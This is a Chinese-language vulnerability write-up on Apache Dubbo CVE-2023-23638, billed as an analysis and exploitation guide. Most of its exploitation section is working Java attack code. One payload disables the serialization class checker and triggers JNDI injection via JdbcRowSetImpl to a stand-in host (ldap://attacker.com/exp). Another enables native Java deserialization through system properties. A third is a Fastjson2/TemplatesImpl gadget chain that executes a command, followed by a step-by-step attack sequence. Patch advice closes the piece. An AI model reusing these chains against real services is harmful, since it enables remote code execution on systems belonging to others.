Apache dubbo 反序列化漏洞(CVE-2023-23638)分析及利用探索
字数 1124 2025-08-25 22:58:47
Apache Dubbo 反序列化漏洞(CVE-2023-23638)深度分析与利用指南
漏洞概述
Apache Dubbo是一款高性能的Java RPC框架,广泛应用于分布式服务架构中。CVE-2023-23638是一个存在于Dubbo中的反序列化漏洞,允许攻击者通过泛化调用功能绕过安全限制,执行任意代码。
影响版本
- Apache Dubbo 2.7.x ≤ 2.7.21
- Apache Dubbo 3.0.x ≤ 3.0.13
- Apache Dubbo 3.1.x ≤ 3.1.5
漏洞原理
泛化调用机制
Dubbo的泛化调用允许客户端在没有服务接口的情况下调用服务,通过Map传递参数。漏洞核心在于org.apache.dubbo.rpc.filter.GenericFilter类处理泛化调用请求时的不安全反序列化。
漏洞触发点
当请求中包含generic-raw.return键值对时,会进入PojoUtils.realize()方法,对用户传入的类进行实例化和属性赋值。
安全限制绕过
Dubbo原本通过SerializeClassChecker进行黑名单检查,但可以通过以下方式绕过:
- 修改
SerializeClassChecker.OPEN_CHECK_CLASS为false - 修改系统属性启用原生Java反序列化
利用方式
方法一:修改SerializeClassChecker实例
private static Map getInstance() throws IOException {
HashMap newChecker = new HashMap();
newChecker.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
newChecker.put("OPEN_CHECK_CLASS", false);
HashMap map = new HashMap();
map.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
map.put("INSTANCE", newChecker);
LinkedHashMap map2 = new LinkedHashMap();
map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
map2.put("DataSourceName", "ldap://attacker.com/exp");
map2.put("autoCommit", true);
HashMap map3 = new HashMap();
map3.put("class","java.util.HashMap");
map3.put("1",map);
map3.put("2",map2);
return map3;
}
利用链说明:
- 创建新的
SerializeClassChecker实例,设置OPEN_CHECK_CLASS=false - 替换单例
INSTANCE - 使用
JdbcRowSetImpl触发JNDI注入
方法二:启用原生Java反序列化
private static Map getProperties() throws IOException {
Properties properties = new Properties();
properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true");
properties.setProperty("serialization.security.check","false");
HashMap map = new HashMap();
map.put("class", "java.lang.System");
map.put("properties", properties);
return map;
}
利用步骤:
- 修改系统属性启用原生Java反序列化
- 发送恶意序列化对象
高级利用技巧
Fastjson2原生反序列化链
在Dubbo 3.1.x中可利用Fastjson2的JSONArray/JSONObject触发TemplatesImpl:
public static Object getObject() throws Exception {
// 创建恶意类字节码
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
// 构造TemplatesImpl
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "test");
setValue(templates, "_tfactory", null);
// 构造Fastjson2利用链
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
return val;
}
时区初始化问题解决
在利用Fastjson2时会遇到TzdbZoneRulesProvider初始化问题,可通过预先加载解决:
private static Map getInstance() throws IOException {
HashMap map = new HashMap();
map.put("class", "java.time.zone.TzdbZoneRulesProvider");
return map;
}
完整利用流程:
- 发送
TzdbZoneRulesProvider初始化请求 - 修改系统属性启用原生反序列化
- 发送Fastjson2利用链
修复建议
-
升级到安全版本:
- Dubbo 2.7.22+
- Dubbo 3.0.14+
- Dubbo 3.1.6+
-
配置安全限制:
dubbo.security.serialize.generic.native-java-enable=false serialization.security.check=true -
加强网络隔离,限制Dubbo服务端口访问